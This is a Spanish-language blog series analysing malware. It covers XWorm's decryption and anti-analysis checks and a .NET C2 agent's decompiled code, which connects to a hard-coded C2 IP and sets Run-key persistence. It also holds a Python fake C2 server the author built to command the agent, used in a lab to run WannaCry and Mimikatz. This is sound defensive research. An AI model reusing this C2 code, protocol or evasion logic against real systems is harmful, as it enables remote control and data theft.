Inicializa una instancia de MD5CryptoServiceProvider, que nos permite realizar operaciones de hasheo MD5.
Crea un array llamado array (1) de 32 bytes.
Crea otro array llamado array2 (2) que contiene el hash MD5 de la variable eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM
Copia el hash MD5 que está en la variable array2 (2) a los 16 primeros bytes del primer array (1).
Copia nuevamente el hash MD5 de la variable array2 (2) al primer array (1) empezando en el quinceavo byte; al hacer esto se sobreescribe el quinceavo byte, que era el último copiado en el paso 5.
Configura el array de 32 bytes(1), el cual ahora contiene los valores derivados del MD5, como llaves del algoritmo criptográfico e inicializa el método para desencriptar.
Obtiene el valor que se pasó como parámetro a la función y lo decodifica de Base64.
Finalmente, desencripta el conjunto de bytes resultante del paso anterior con la llave configurada en el paso 7.

Con analizar la función entendemos el propósito de esta: ciertas variables están cifradas y el malware las descifra en ejecución, posiblemente para evitar que valores como URLs o IPs sean identificadas fácilmente como Indicadores de Compromiso (IOCs) en un análisis estático.

Si bien podemos crear un script para automatizar el desencriptado de las variables, podemos utilizar la función de debugging de DNSpy para obtener los valores; podemos presionar F9 sobre la fila donde se desencripta la variable y analizar el resultado, utilizando F10 para pasar por cada instrucción:

De las variables desencriptadas, identificamos algunas potencialmente interesantes:

Una URL de DDNS.net, un servicio de DNS dinámico.
Lo que parece ser un puerto.
La cadena de texto “<Xwormmm>”
La cadena de texto “USB.EXE”

Adicionalmente, vemos que se desencriptan algunos valores que no aún llegamos a entender y probablemente tengamos que inferir su uso en base al contexto de la función que los invoque.

Uso de Mutex

Luego de desencriptar los valores, el malware entra a la función XykaLtFvQmKZ, la cual intenta generar un Mutex con un nombre en específico, almacenado en la variable eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM:

Los Mutex usualmente se utilizan en programación concurrente para bloquear ciertas partes del código y evitar que sean accedidas cuando están en uso/aún no están listas; esto sucede debido a que, cuando uno maneja múltiples hilos, puede ocurrir lo que se conoce como un race condition, donde un hilo termina antes que el hilo que esperábamos termine primero.

Los parámetros para crear un Mutex son los siguientes:

initiallyOwned: No afecta el objetivo del malware.
name: nombre del Mutex.
createdNew: True si se creó el Mutex, False si ya existía un Mutex con ese nombre.

En este caso el malware se está ejecutando en un solo hilo, pero los autores de malware utilizan creativamente dicho tipo de objeto mediante el parámetro de respuesta createdNew; de este modo, si se inicia una nueva instancia del malware cuando otra ya se está ejecutando, el Mutex con el nombre definido por el malware ya estará creado, por lo que el resultado sería False y el programa se cerraría. Al hacer esto los autores del malware pueden asegurarse que solo una copia esté en ejecución en todo momento, y así evitar impactar el rendimiento del sistema y levantar sospechas.

Anti-análisis

Luego de desencriptar las variables y asegurarse que sea la única instancia en ejecución, el malware ingresa a la función w8r25j4la24nAJZBLOLGewTPs69UXozPFVUsT; con ver a alto nivel la función evidenciamos que realiza múltiples validaciones y procede a cerrar el programa si una de estas falla:

Analizando función por función, estas realizan lo siguiente:

Verifica si el malware se está ejecutando en VMWare o VirtualBox: Para ello, el malware obtiene el fabricante del sistema utilizando Select * from Win32_ComputerSystem y lo compara con las cadenas de texto “vmware” y “VirtualBox”
Valida si está siendo analizado:

El malware importa la función CheckRemoteDebuggerPresent de la librería Kernel32.dll para verificar si el proceso actual está siendo analizado por un depurador externo (de un proceso diferente, no necesariamente otra PC).

Verifica si la librería SbieDll.dll está presente:

La librería SbieDll.dll pertenece a Sanboxie, un programa que permite contenerizar y analizar programas con el fin de prevenir infecciones. XWorm utiliza la función GetModuleHandle para verificar si la librería está activa.

Verifica si se está ejecutando en Windows XP:
Verifica si se está ejecutando en un proveedor cloud: El parámetro hosting de la web ip-api.com indica si la IP pertenece a un proveedor Cloud.

Dichas validaciones pueden cumplir distintos fines:

La validación de si el ambiente es virtualizado, que no sea XP y que no sea un proveedor Cloud pueden ser debido a las capacidades del malware, el cual puede necesitar hardware físico.
La validación de si se está ejecutando en un proveedor Cloud puede buscar impedir el análisis de soluciones como VirusTotal o AnyRun, las cuales se ejecutan en servicios en la nube (AWS/GCP/Azure).
La validación de si está siendo analizado y si la librería de Sandboxie está presente puede ser para dificultar su detección por parte de herramientas de análisis dinámico.

Si continúasemos con el análisis dinámico en una PC con VMWare o VirtualBox, el programa se cerraría debido a la primera validación:

Para evitar ello podemos configurar un breakpoint antes de que se valide el fabricante y cambiar en memoria el nombre de este:

También es posible guardar el programa luego de parchar la validación; sin embargo, no lo recomiendo hasta terminar de comprender qué hace el malware. El malware podría proceder a corromper archivos o cifrar el sistema, por lo que es bueno mantener su función inicial y permitir que se cierre si lo ejecutamos por error o por si este se configura para iniciar automáticamente mediante técnicas de persistencia.

Conclusiones

En este análisis, hemos profundizado en las primeras etapas de ejecución de XWorm, revelando varias técnicas que utiliza para dificultar su análisis y asegurar su ejecución en entornos específicos. Entre los aspectos destacados podemos mencionar:

Ofuscación y desencriptado dinámico

XWorm emplea un cifrado basado en Rijndael y codificación Base64 para proteger cadenas sensibles como URLs, puertos y nombres de archivos. Este enfoque busca ocultar posibles indicadores de compromiso (IOCs) hasta que se ejecuten en memoria.

Uso de Mutex

El malware asegura que solo una instancia esté en ejecución mediante la creación de un Mutex único. Esto previene conflictos de recursos y evita levantar sospechas por consumo excesivo del sistema.

Validaciones anti-análisis

Las múltiples comprobaciones de XWorm, como la detección de entornos virtualizados, depuradores externos y la presencia de librerías de análisis como Sandboxie, dificultan el análisis dinámico y buscan evitar la ejecución en entornos controlados.

Estas técnicas no solo muestran un alto nivel de refinamiento en el desarrollo de XWorm, sino que también refuerzan la importancia de las herramientas y metodologías avanzadas en el análisis de malware. Al superar estas barreras, podemos comprender el comportamiento de este tipo de amenazas, anticiparnos a sus movimientos y desarrollar mejores defensas.

Próximos pasos

En los próximos artículos de la serie, exploraremos las estrategias de evasión de defensas, las técnicas de persistencia y los módulos funcionales de XWorm, como el keylogger y la captura de criptomonedas. Esto permitirá un análisis más profundo de su impacto y capacidades.

¡Nos vemos en el siguiente artículo!

006 - Decodificando XWorm: Introducción

Fri, 10 Jan 2025 10:00:49 -0500

Introducción

XWorm, un sofisticado Troyano de Acceso Remoto (RAT) desarrollado en .NET, es una herramienta favorita entre los ciberdelincuentes gracias a su amplio conjunto de funcionalidades y constante actualización. Desde técnicas anti-análisis, comunicación con sus creadores a través de Telegram, y robo de Bitcoins este malware representa el panorama actual de las amenazas.

En esta serie de siete partes, analizaremos XWorm paso a paso, revelando sus mecanismos internos y las técnicas que emplea para alcanzar sus objetivos.

En este primer post, estableceremos las bases necesarias para entender XWorm y su análisis. Exploraremos cómo identificar el tipo de binario con el que estamos trabajando, repasaremos algunos conceptos básicos de .NET y presentaremos las herramientas que utilizaremos a lo largo de la serie.

Antecedentes

XWorm es un malware que fue identificado por primera vez en el 2022; desde entonces, ha evolucionado constantemente, incorporando nuevas técnicas para evadir análisis y mantenerse relevante en el panorama actual de amenazas. El equipo de Netskope detectó que en los últimos meses, XWorm sufrió una nueva actualización para incluir nuevas capacidades, dentro de las cuales se encuentran:

Capacidad de remover plugins (en una versión anterior se incluyó la posibilidad de utilizar plugins)
Capacidad de medir el tiempo de respuesta entre el servidor de C2 y el malware; esta capacidad es una actualización sobre un método que anteriormente se encontraba en otras muestras de este malware, incluyendo la que analizaremos en esta serie.
Capacidad de modificar el archivo Hosts del Sistema Operativo, lo que permite a un atacante redirigir el tráfico de una web hacia su servidor:

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# rhino.acme.com # source server
# x.acme.com # x client host

# localhost name resolution is handled within DNS itself.
#	localhost
#	::1 localhost
151.20.37.49	 banco.com <-- cuando el usuario accede a banco.com, su equipo se contacta con 151.20.37.49, sobreponiendose encima de la configuración de DNS.

XWorm es un malware de tipo RAT; la diferencia principal de este tipo de malware comparado a un shell reverso, es que este ya cuenta con capacidades incluídas para realizar distintas funciones, como lo puede ser Keylogger para capturar lo que el usuario escribe, exfiltrar contraseñas, descargar y ejecutar nuevos programas, etc. Al ofrecer funcionalidades ya customizadas, permite que personas sin conocimiento técnico puedan adquirirlo e interactuar con este a través de paneles de administración.

XWorm se vende en múltiples foros criminales por distintos precios; de acuerdo a una investigación realizada por Trellix, la versión 4 de este malware se vendía por 400 USD en el 2023. Debido a ello, es utilizado para atacar a múltiples países e industrias; si hacemos una rápida búsqueda en internet vemos que XWorm ha sido utilizado en los últimos meses para atacar a Ucrania, sectores de industria en Reino Unido, y desplegar el ransomware Lockbit.

Análisis estático

Disclaimer: Ejecutar malware en un dispositivo personal/corporativo puede poner en riesgo tu información/la información de tu empresa. Nunca ejecutes malware en un dispositivo que no ha sido específicamente configurado para el análisis.

Algoritmo	Hash
MD5	b3aa8653079137d67f1998dbafeca57b

Comenzamos el análisis con la herramienta Detect It Easy, la cual nos muestra que el tipo de archivo es PE32 (Portable Executable, ejecutable de Windows). También, nos permite identificar que utiliza el framework .NET; esto último es importante ya que dependiendo del framework/lenguaje de programación podemos decidir la mejor herramienta para analizar el malware.

Adicionalmente, vemos que identifica al malware como XWorm. Si bien esto es un indicador fuerte, no debemos confiar 100% en dicha identificación, ya que Detect It Easy, al igual que OLEVba y otras herramientas de análisis estático buscan patrones, y pueden catalogar incorrectamente algunos patrones como maliciosos; adicionalmente, se han visto casos donde grupos de amenaza (APTs) incluían intencionalmente IOCs de otros grupos de amenaza en sus herramientas con el fin de engañar a los investigadores.

Finalmente, vemos que Detect It Easy, identifica que el malware está ofuscado y que cuenta con capacidades anti-debug y anti-VMs.

Si analizamos el binario con PEStudio, podemos detectar algunos strings interesantes:

Dentro de los strings vemos referencias a DDOS, comandos para la computadora (PCShutdown, PCLogoff), el string "-ExecutionPolicy Bypass" que puede ser utilizado para bypassear la verificación de scripts de Powershell, etc. Adicionalmente, si exploramos las otras pestañas de PEStudio, podemos obtener una mayor idea de los namespace de .NET presentes, librerías que importa, etc.

Código Administrado vs No Administrado

Previamente en el artículo mencioné que, dependiendo del lenguaje de programación, podíamos utilizar distintas herramientas para analizar nuestra muestra; para comprender ello es importante conocer sobre lenguajes administrados y no administrados:

El código no administrado (unmanaged code) es aquel que se ejecuta directamente en la máquina sin necesidad de un entorno de ejecución. A continuación, se detallan sus características:

Interacción directa con el sistema: Este código tiene acceso directo a la memoria y los recursos del sistema operativo.
Más rápido pero menos seguro: Aunque los programas en código no administrado son más rápidos y ligeros, requieren que el programador maneje cuidadosamente la memoria y otros recursos.
Ejemplo en C: En este lenguaje, los programadores deben gestionar la memoria manualmente, lo que puede llevar a vulnerabilidades como desbordamientos de buffer si no se hace correctamente.

Ejemplo de código no administrado (en C):

#include <stdio.h>
#include <string.h>

int main() {
 char buffer[10];
 printf("Enter some text: ");
 gets(buffer); // Función insegura
 printf("You entered: %s\n", buffer);
 return 0;
}

El código administrado (managed code) es ejecutado en un entorno controlado por un “runtime” o entorno de ejecución, como el .NET CLR (Common Language Runtime) para aplicaciones de .NET. Esto le da ventajas en cuanto a seguridad y portabilidad, ya que el entorno gestiona la memoria y las excepciones automáticamente.

Gestión automática de recursos: El CLR se encarga de la gestión de la memoria, haciendo que el código sea más seguro y menos propenso a errores como fugas de memoria.

Portabilidad: El código administrado es más fácil de portar entre diferentes sistemas operativos, ya que el runtime se encarga de transformar el código en algo comprensible para la máquina.

Ejemplo de código administrado (en C#):

using System;

class Program
{
 static void Main()
 {
 string input = Console.ReadLine(); // Manejo seguro de entradas
 Console.WriteLine("You entered: " + input);
 }
}

Lenguaje intermedio

Cuando escribimos código en .NET, ya sea en C# o Visual Basic, el compilador no produce un binario que se puede ejecutar directamente. En lugar de eso, se genera el binario en Lenguaje Intermedio (IL), que es un conjunto de instrucciones que necesitan ser convertidas a código máquina por el CLR para ser ejecutado en la máquina.

Cuando uno hace doble click a un programa .EXE que utiliza el framework .NET, el CLR procede a realizar un proceso conocido como Just In Time compiling, el cual transforma el código intermedio en código máquina que puede ser ejecutado por el CPU:

Si comparamos dos programas que hacen lo mismo, uno escrito en C, y otro en C#, podemos evidenciar la gran diferencia de tamaño:

Esto es importante para nuestro análisis, ya que los binarios en Lenguaje Intermedio contienen gran cantidad de metadata que nos facilita el análisis; en vez de tener que desensamblar el binario con una herramienta como Ghidra, podemos decompilarlo usando DNSpy.

Conclusiones

En este primer artículo hemos sentado las bases para comprender XWorm: ya conocemos qué tipo de binario es, algunas posibles funciones que buscar posteriormente en el análisis, así como qué herramienta podemos usar para abordarlo. Si bien es un artículo teórico, considero que la base de lenguajes administrados y no administrados es importante para futuros análisis.

En el siguiente artículo comenzaremos a analizar las acciones que XWorm realiza, cómo evade defensas, desencripta parámetros de configuración mientras se ejecuta y más.

¡Nos vemos en el siguiente artículo!

005 - Analizando un agente de C2 - Parte 3: el agente - Análisis dinámico

Mon, 12 Feb 2024 12:03:49 -0500

Introducción

En la segunda parte de este artículo analizamos de manera estática el binario .exe que obtuvimos de una macro maliciosa; en dicho análisis, identificamos que el programa había sido desarrollado en .NET, lo que facilitó el análisis debido a que el lenguaje intermedio (IL) que utiliza dicho framework es muy similar al código fuente original, lo que permite que sea facilmente decompilado.

En esta sección analizaremos de manera dinámica el binario para validar que nuestro análisis estático haya sido el correcto, así como desarrollar formas de interactuar con el agente.

Disclaimer: Ejecutar malware en un dispositivo personal/corporativo puede poner en riesgo tu información/la información de tu empresa. Nunca ejecutes malware en un dispositivo que no ha sido específicamente configurado para el análisis.

Análisis dinámico del binario

Configuración del ambiente y conexión inicial

Como parte del análisis estático identificamos que, luego de esperar unos segundos, el programa se intenta comunicar con la IP 162.245.191.217 en los puertos 9149, 15198, 17818, 27781 y 29224, iterando entre ellos hasta conseguir una conexión exitosa. Podemos comprobar que efectivamente el programa realiza dichos intentos de conexión utilizando TCPView o Process Monitor:

Dado que el binario necesita una respuesta exitosa del servidor para continuar, podemos proceder de dos formas:

Modificar la IP de destino en ejecución utilizando DNSpy
Modificar Remnux para que intercepte el tráfico dirgido al servidor

En esta ocasión opté por la segunda opción, la cual puede ser implementada modificando las reglas de firwall de Remnux; para ello, podemos redirigir todo el tráfico con destino a la IP del servidor a un puerto en específico en Remnux:

sudo iptables -t nat -A PREROUTING -i ens33 -p tcp -d 162.245.191.217 -j DNAT --to-destination 10.0.0.3:4321

Como parte del análisis estático identificamos que el programa obtiene una respuesta del servidor, la separa en base al caracter “=” y en base a la primera parte del mensaje (lo que está antes del caracter “=”) realiza una acción. Podemos hacer una prueba enviando un valor que sabemos que el programa entiende y ver si se sigue el camino esperado:

import socket
import struct

message_content = "thyTumb=LoremIpsumTest"
print(message_content)

HOST = '0.0.0.0'
PORT = 4321


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
 s.bind((HOST, PORT))
 s.listen()

 print("Server is listening...")
 conn, addr = s.accept()
 with conn:
 print('Connected by', addr)
 conn.sendall(message_content.encode())
 print("Data sent to the client.")

Sin embargo, rápidamente nos damos cuenta que enviar un mensaje no será tan simple; el agente implementa lógica customizada para determinar el tamaño del mensaje y así saber cuando dejar de “leer” datos:

Adicionalmente, debido a diferencias en cómo C# (en lo que está escrito el agente) y Python (el servidor que estamos usando para suplantar al servidor real) manejan mensajes TCP, es necesario hacer adecuaciones en el código para que el agente pueda entender el mensaje:

import socket
import struct

message_content = "thyQumb=LoremIpsumTest"

message_length = len(message_content.encode())
packed_length = struct.pack('!I', message_length)

reversed_length = packed_length[::-1]

reversed_length = reversed_length + b'\x00' * (5 - len(reversed_length))

message_to_send = reversed_length + message_content.encode()
print(message_to_send)

HOST = '0.0.0.0' 
PORT = 4321 

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
 s.bind((HOST, PORT))
 s.listen()

 print("Server is listening...")
 conn, addr = s.accept()
 with conn:
 print('Connected by', addr)
 conn.sendall(message_to_send)
 print("Data sent to the client.")

Con dichas modificaciones verificamos que el mensaje llega correctamente al agente:

Durante el análisis puede demorar mucho esperar a que se cumplan las condiciones necesarias para que el malware se comunique con el servidor, por lo que extraer la parte del código que queremos entender y utilizarla en otro programa nos puede ayudar a comprender qué está pasando de manera mas efectiva; para comprender bien cómo Python enviaba los mensajes y cómo .NET los recibía, hice un pequeño programa que me permitió validar la respuesta de cada etapa del proceso:

Una vez que logramos enviar información al agente en un “idioma” que entienda, implementar la lógica de recibir información del agente toma poco tiempo. Finalmente tenemos cómo enviar comandos al agente de Comando y Control y podemos verificar cómo se comporta en la práctica.

Análisis de las capacidades del agente

Al igual que en el artículo anterior, analizaremos algunas capacidades que ofrece el agente para verificar cómo se comportan durante su ejecución:

Listar procesos

Al recibir el comando “geyTtavs”, nos esperamos que se envíe el ID de cada proceso, seguido por el nombre de cada proceso siguiendo el patrón IDProceso1>NombreProceso1>0><IDProceso2>NombreProceso2>0><. Utilizando Wireshark, podemos comprobar que efectívamente se envía la información de dicha manera:

En el servidor, podemos modificar nuestro script para parsear mejor la información recibida:

Establecer persistencia

Otro de las funciones que ofrecía el agente de C2 que identificamos durante el análisis estático es la de establecer persistencia, la cual podemos comprobar utilizando Autoruns y Process monitor

El agente de C2 utiliza la llave de registro HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run para definir que el agente se ejecute con cada inicio de sesión (técnica T1547.001 en MITRE ATT&CK).

Exfiltrar archivos

El agente ofrece al atacante la capacidad de exfiltrar archivos mediante el comando “afyTile”, para lo cual recibe la ruta del archivo y procede a enviarlo al servidor de C2; podemos actualizar nuestro servidor para interactuar con dicha función y confirmar la lectura del archivo usando Wireshark y Process Monitor:

Descargar y ejecutar programas

Una de las capacidades mas interesantes que ofrece el agente es la de descargar y ejecutar binarios del servidor de C2, por lo que un atacante puede ampliar su ataque utilizando capacidades no inicialmente disponibles en el malware. Uno de los casos donde constantemente vemos dicho tipo de técnica es con las organizaciones que despliegan ransomware, en las que organizaciones conocidas como Brokers de Acceso Inicial (IAB) venden el acceso que consiguieron en una empresa a organizaciones de Ransomware como Lockbit y Conti.

Para mi prueba inicial, hice que la aplicación descargue y ejecute la calculadora de Windows:

Sin embargo, dado que ejecutar la calculadora es aburrido, decidí descargar Wannacry simulando lo que podría hacer un atacante real:

Demo de servidor de C2

Luego de analizar algunas de las capacidades que ofrecía el agente (facilitado por la fácil decompilación de .NET), logré implementar un servidor capaz de comunicarse con el agente basandome únicamente en el código de este; dentro de las funcionalidades que implementé están la de listar procesos, obtener información del sistema, ejecutar comandos, establecer persistencia, listar archivos en un directorio, y descargar y ejecutar binarios.

En el siguiente video se muestran algunas de las capacidades:

Como se aprecia en el video, el agente establece cada minuto una comunicación con el servidor de Comando y Control, lo que permite al atacante enviar distintos comandos; dentro de los revisados, está la descarga y ejecución de binarios, donde se descargó y ejecutó Mimikatz, el listado de procesos de sistema, donde identificamos el proceso de Mimikatz, y el de obtener información del sistema, donde obtuvimos el nombre de la máquina, el usuario, la versión de Windows, así como la ruta donde se está ejecutando el agente.

Adicionalmente, se evidencia cómo aparecen dichas actividades en herramientas como Process Explorer, Process Monitor, TCP View y Wireshark, lo que nos permite entender a detalle las acciones gatilladas por cada capacidad del malware.

En el video no se muestran todas las capacidades implementadas, así como otras que ofrece el agente que no fueron adecuadas al servidor falso (eliminar archivos, sacar capturas de pantalla, etc), por lo que recomiendo a los lectores hacer ingeniería inversa al binario e implementarlas como forma de aprendizaje.

Conclusiones

Cuando inicié el análisis de este malware solo sabía que contenía una macro maliciosa, mas no que embebía un agente de Comando y Control, el cual sería capaz de decompilar, analizar, y realizar una POC para interactuar con él. El malware obtenido fue la oportunidad perfecta para practicar distintas técnicas de análisis, tanto estático como dinámico, permitiendo realizar ingeniería reversa sin tener que leer código ensamblador.

Gracias por acompañarme en este análisis, los invito a replicar lo realizado y así practicar.

Mapeo MITRE ATT&CK

ID	Táctica	Técnica	Descripción
T1059.003	Ejecución	Command and Scripting Interpreter: Windows Command Shell	Se utilizó el método Process.Start para iniciar nuevos procesos
T1547.001	Persistencia	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	Se utilizó una llave de registro para establecer persistencia
T1070.004	Evasión de defensas	Indicator Removal: File Deletion	El agente tiene la capacidad de eliminar archivos
T1057	Descubrimiento	Process Discovery	El agente tiene la capacidad de listar procesos
T1082	Descubrimiento	System Information Discovery	El agente tiene la capacidad de obtener información del sistema
T1027.010	Evasión de defensas	Obfuscated Files or Information: Command Obfuscation	Se utilizó el reemplazo de caracteres para ofuscar comandos
T1113	Colección	Screen Capture	El agente tiene la capacidad de sacar capturas de pantalla
T1005	Colección	Data from Local System	El agente tiene la capacidad de obtener información de archivos del sistema
T1571	Comando y Control	Non-Standard Port	El agente no utiliza puertos comunes para comunicarse con el servidor de C2
T1095	Comando y Control	Non-Application Layer Protocol	El agente se comunica mediante TCP, interactuando directo con el flujo de datos
T1041	Comando y Control	Exfiltration Over C2 Channel	El agente exfiltra información utilizando la conexión establecida con el servidor de C2

IOC

IOC	Tipo	Descripción
59211a4e0f27d70 c659636746b61945a	Hash MD5	Hash del agente de C2
162.245.191.217	IP	IP a donde se comunica el agente
HKEY_CURRENT_USER\ Software\Microsoft \Windows\CurrentVersion\ Run\haijwivetsgVr	Llave de registro	Llave que el agente utiliza para establecer persistencia

004 - Analizando un agente de C2 - Parte 2: el agente - Análisis estático

Fri, 05 Jan 2024 12:03:49 -0500

Introducción

En la primera parte de este artículo identificamos que, luego de implemenetar ciertas técnicas para dificultar su detección, la macro maliciosa que analizamos extraía y ejecutaba un binario .exe que tenía embebido. En esta parte, analizaremos dicho binario de manera estática para comprender cómo funciona, cómo identificamos que corresponde a un agente de C2, y qué indicadores de compromiso podemos obtener de este.

Debido a la longitud del artículo, en una tercera parte se evaluará de manera dinámica el binario.

Disclaimer: Ejecutar malware en un dispositivo personal/corporativo puede poner en riesgo tu información/la información de tu empresa. Nunca ejecutes malware en un dispositivo que no ha sido específicamente configurado para el análisis.

Análisis estático del ejecutable

Identificación de hashes y framework de desarrollo utilizado

Iniciamos el análisis obteniendo el hash del ejecutable:

Algoritmo	Hash
MD5	59211a4e0f27d70c659636746b61945a
SHA256	2110af4e9c7a4f7a39948cdd696fcd8b 4cdbb7a6a5bf5c5a277b779cc1bf8577

Al abrir el binario en PEStudio, podemos identificar algunas cosas interesantes:

PEStudio identifica el binario como de tipo “Microsoft .NET”
El binario parece haber sido compilado el 05 de Setiembre del 2023, por lo que es reciente. (Dicho valor puede ser alterado por lo que no es 100% confiable)
Se identifica la ruta del archivo “debug” del binario, la cual contiene \obj\Debug, directorio estándar creado por Visual Studio.

Dichos factores parecen indicarnos que se trata de un programa .NET; adicionalmente, analizando algunas de las otras secciones de información que ofrece PEStudio podemos obtener mayor confirmación sobre esto:

PEStudio identifica el namespace .NET System.Net.Socket
PEStudio identifica que el programa, durante su ejecución, importa clases de .NET

Con dicha información, podemos decir con casi total certeza de que el binario corresponde a uno desarrollado con el framework .NET. Adicionalmente, verificamos que PEStudio identifica una IP, que puede ser un indicador de compromiso (IOC) de interés.

Decompilación de binarios .NET

Los programas desarrollados en .NET son usualmente suceptibles a ser decompilados, debido a que no se compilan directamente al lenguaje máquina binario que la computadora entiende (los 0 y 1). En su lugar, se compilan a un lenguaje intermedio conocido como Intermediate Language (IL), el cual es convertido durante la ejecución del programa al lenguaje máquina específico del entorno en el que se está ejecutando.

Si bien dicho framework provee flexibilidad, el lenguaje intermedio contiene información sobre nombres de clases, métodos, metadata, etc., lo que permite que sea decompilado y así, “revertido” casi a su forma original.

Existen distintas herramientas que permiten decompilar un binario creado en .NET, entre las que se encuentran ILSpy y dnSpy; para el presente análisis utilizaré dnSpy debido a las capacidades de debugging que ofrece.

Análisis inicial del binario

Al abrir el ejecutable en dnSpy, validamos que efectivamente podemos visualizar el código:

Dado que analizar cada función que llama el ejecutable puede ser muy tedioso (especialmente si contiene código basura destinado a dificultar el análisis), seguiremos el flujo de llamadas que se hacen desde el método Main.

Verificamos que cuando el programa se inicia llama al formulario Form1, el cual, al inicializarse, invoca al método InitializeComponent(). De la configuración de dicho método podemos destacar tres cosas:
1. Se configura la opacidad del formulario a 0 para hacer de este invisible.
2. Se configura para que no tenga un ícono en la barra de tareas.
3. Se llama al método Form1_Load.

private void InitializeComponent()
		{
 ...
			base.Name = "Form1";
			base.Opacity = 0.0;
			base.ShowIcon = false;
			base.ShowInTaskbar = false;
			this.Text = "Form1";
			base.FormClosing += this.Form1_FormClosing;
			base.Load += this.Form1_Load;
 ...

		}

El método Form1_Load detiene la ejecución (“duerme”) por unos segundos antes de llamar al método corediQart():

private void Form1_Load(object sender, EventArgs e)
		{
			try
			{
				Thread.Sleep(1010);
				base.ShowInTaskbar = false;
				base.Visible = false;
				base.FormBorderStyle = FormBorderStyle.SizableToolWindow;
				Thread.Sleep(2050);
				Thread.Sleep(1280);
				this.mainvp.corediQart();
			}
			catch
			{
			}
		}

Esta técnica (T1497.003) usualmente es utilizada por atacantes para evadir herramientas de análisis dinámico, muchas de las cuales solo están activas por un corto tiempo y puede que crean que un binario no tiene comportamiento malicioso solo porque aún no es ejecutado. En este caso, desde mi punto de vista, los tiempos son muy cortos para estar utilizando dicha técnica, por lo que probablemente están para dar tiempo a otros componentes del programa de terminar de cargar.

El método corediQart() realiza las siguientes acciones:
1. Asigna el primer puerto definido en la variable ports a la variable port.
2. Obtiene el nombre de la computadora donde se está ejecutando, así como el usuario que está ejecutando el programa y lo asigna a la variable userAiunt.
3. Crea un objeto de tipo TimerCallback que llama al método procvQloop.
4. Configura el objeto de tipo TimerCallback para que se ejecute cada 58.51 segundos, luego de esperar inicialmente 49.12 segundos.

		public void corediQart()
		{
			DIRERRIF.port = DIRERRIF.ports[0];
			this.userAiunt = new MRDFINF();
			...
			TimerCallback callback = new TimerCallback(this.procvQloop);
			Timer timer = new Timer(callback, this.objeAdate, 49120, 58510);
			this.objeAdate.timer = timer;
		}

 public static int[] ports = new int[]
		{
			9149,
			15198,
			17818,
			27781,
			29224
		};

 public MRDFINF()
		{
			...
			this.comtname = SystemInformation.ComputerName;
			this.acc_datQtime = Environment.UserName;
			...
		}

Analizando lo que hace el método procvQloop(), inicia una conexión TCP con la IP almacenada en la variable min_codns; en dicha variable, la IP se encuentra almacenada como un conjunto de bytes, probablemente para dificultar su detección:

DIRERRIF.mainwtp = Encoding.UTF8.GetString(DIRERRIF.min_codns, 0, DIRERRIF.min_codns.Length).ToString();
this.maiedet = new TcpClient();
this.maiedet.Connect(DIRERRIF.mainwtp, DIRERRIF.port);

public static byte[] min_codns = new byte[]
{49, 54, 50, 46, 50, 52, 53, 46, 49, 57, 49, 46, 50, 49, 55};

La conexión TCP se realiza con la IP almacenada en la variable min_codns en el puerto asignado a la variable port.

Una vez realizada la conexión, si es exitosa, se llama al método procD_core(), el cual realiza múltiples operaciones:
1. Obtiene una respuesta de la conexión TCP establecida previamente.
2. Separa la respuesta obtenida utilizando el separador ‘=’.
3. En base al primer valor de la respuesta (lo que estaba antes del ‘=’) llama a distintos métodos.

private void procD_core()
 ...
		string[] procss_type = this.get_procsQtype();
		...
		string text = procss_type[0].ToLower();
		...
		if (text == "thyTumb")
		{
			this.imagiQtails(procss_type[1]);
		}
		if (text == "scyTrsz")
		{
			this.dsAscrnsize(procss_type[1]);
		}
		...

public string[] get_procsQtype()
{
	string[] result;
	try
	{
		byte[] array = new byte[5];
		this.byteAdesr = this.newWam.Read(array, 0, 5);
		int num = BitConverter.ToInt32(array, 0);
		byte[] array2 = new byte[num];
		int num2 = 0;
		for (int i = num; i > 0; i -= this.byteAdesr)
		{
			int count = (i > this.bufeAize) ? this.bufeAize : i;
			this.byteAdesr = this.newWam.Read(array2, num2, count);
			num2 += this.byteAdesr;
		}
		string text = Encoding.UTF8.GetString(array2, 0, num).ToString();
		if (text.Trim() == "")
		{
			result = null;
		}
		else
		{
			result = text.Split(new char[]
			{
				'='
			});
		}
	}
	return result;
}

Sin analizar el resto de las funciones, el comportamiento del programa ya nos hace suponer que puede ser un agente de C2:

Cada cierto tiempo (aproximadamente cada minuto), se comunica con un servidor basado en una IP y un puerto no común.
Recibe respuesta del servidor, la cual se compone de dos secciones.
En base a la primera sección (comandos), llama a métodos pasándoles la segunda sección (payload/parámetros del comando).

En base a dicho análisis podemos asumir que el servidor envía comandos al agente, el cual los ejecuta. Posterior análisis nos permitirá confirmar si realmente es un agente de Comando y Control, así como las capacidades que tiene este agente.

Análisis de los métodos del agente de C2

Debido a que analizar cada función sería muy tedioso, analizaremos algunas funciones que me parecieron interesantes:

Listar procesos

Al igual que en la macro que contenía el binario, se visualiza el uso de subguiones para separar comandos/variables:

Al recibir el comando “geyTtavs”, se obtienen los procesos que se están ejecutando en el sistema y se envía el ID y nombre de estos mediante la función loadQData:

La función loadQData envía el tipo de respuesta a esperar, el tamaño de esta y la respuesta al servidor.

Con solo analizar la función de listar procesos, podemos confirmar que es un agente de Comando y Control: el programa se contacta a un servidor, recibe una instrucción (listar procesos en este caso) y envía la respuesta al servidor.

Establecer persistencia

La llave de registro HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run es usualmente abusada por atacantes para establecer persistencia; dicha técnica está catalogada en MITRE ATT&CK con ID T1547.001 y permite a un atacante ejecutar un programa cuando el usuario inicia sesión, bajo el contexto (permisos) de ese usuario.

Verificamos que el agente ofrece la capacidad de establecer persistencia, al recibir el comando “puyTtsrt” crea la llave de registro con nombre “haijwivetsgVr”:

Al igual que antes, vemos que el nombre de la ruta en el registro ha sido dividido utilizando subguiones para dificultar su identificación.

Listar archivos

